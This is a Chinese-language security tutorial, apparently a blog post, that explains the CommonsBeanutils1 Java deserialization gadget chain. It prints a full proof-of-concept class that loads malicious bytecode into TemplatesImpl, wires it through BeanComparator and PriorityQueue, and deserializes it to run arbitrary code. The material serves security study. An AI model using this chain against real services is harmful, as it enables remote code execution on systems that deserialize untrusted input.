Apache Commons Beanutils
Apache Commons Beanutils 是 Apache Commons 工具集下的另一个项目,它提供了对普通Java类对
象(也称为JavaBean)的一些操作方法。
demo
1 2 3 4 5 6 7 8 9
| final public class Cat { private String name = "catalina"; public String getName() { return name; } public void setName(String name) { this.name = name; } }
|
包含私有属性name
,两个方法,一个读取一个设置
getxxx
->getter
,setxxx
->setter
,全名符合骆驼式命名法
其中commons-beanutils
中提供了一个静态方法 PropertyUtils.getProperty
,让使用者可以直接调用任
意JavaBean的getter方法
1
| PropertyUtils.getProperty(new Cat(), "name");
|
commons-beanutils
还会自动调用name
属性的getter
方法。
PropertyUtils.getProperty
还支持递归获取属性
例如a
对象中有b
属性,b
中有c
,那就可以通过PropertyUtils.getProperty(a, "b.c");
递归获取对象。
来看下org.apache.commons.beanutils.BeanComparator
下的compare
犯法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| public int compare( T o1, T o2 ) {
if ( property == null ) { return internalCompare( o1, o2 ); }
try { Object value1 = PropertyUtils.getProperty( o1, property ); Object value2 = PropertyUtils.getProperty( o2, property ); return internalCompare( value1, value2 ); } catch ( IllegalAccessException iae ) { throw new RuntimeException( "IllegalAccessException: " + iae.toString() ); } catch ( InvocationTargetException ite ) { throw new RuntimeException( "InvocationTargetException: " + ite.toString() ); } catch ( NoSuchMethodException nsme ) { throw new RuntimeException( "NoSuchMethodException: " + nsme.toString() ); } }
|

而TemplatesImpl#newTransformer()
的上一层调用方法getOutputProperties()
是get
开啊头,符合getter
定义
对TemplatesImpl忘记流程的可以看下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48
| package com.ki10MOc; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.beanutils.BeanComparator;
import java.io.*; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.PriorityQueue;
public class CommonsBeanutils1 { public static void main(String[] args) throws Exception { byte[] code = Files.readAllBytes(Paths.get("H:\\Code\\JavaSecurityCode\\CommonsBeanutils1\\target\\classes\\evil\\EvilTemplatesImpl.class")); TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates, "_name", "ki10Moc"); setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); setFieldValue(templates, "_bytecodes", new byte[][]{code});
final BeanComparator comparator = new BeanComparator(); final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
queue.add(1); queue.add(1); setFieldValue(comparator, "property", "outputProperties"); setFieldValue(queue, "queue", new Object[]{templates, templates}); ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(queue); oos.close(); System.out.println(barr); ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray())); Object o = (Object)ois.readObject(); }
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); }
}
|

省流
如果你了解TemplatesImpl
和CC2
的流程
前面的就都不用看了
只需要知道在TemplatesImpl
中
1 2 3 4 5
| TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer() -> TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses() -> TransletClassLoader#defineClass()
|
最开始的方法getOutputProperties
是以get
开头,
而在JavaBean
中
1 2 3 4 5 6 7 8 9
| final public class Cat { private String name = "catalina"; public String getName() { return name; } public void setName(String name) { this.name = name; } }
|
它包含一个私有属性name,和读取和设置这个属性的两个方法,又称为getter和setter。其中,getter
的方法名以get开头即getter
方法
commons-beanutils中提供了一个静态方法 PropertyUtils.getProperty ,让使用者可以直接调用任
意JavaBean的getter方法
1
| PropertyUtils.getProperty(new Cat(), "name");
|
两者结合起来即将property
的值为 outputProperties
1
| PropertyUtils.getProperty( o1, outputProperties);
|
就可以触发后面的任意代码了
写法没有什么奇特的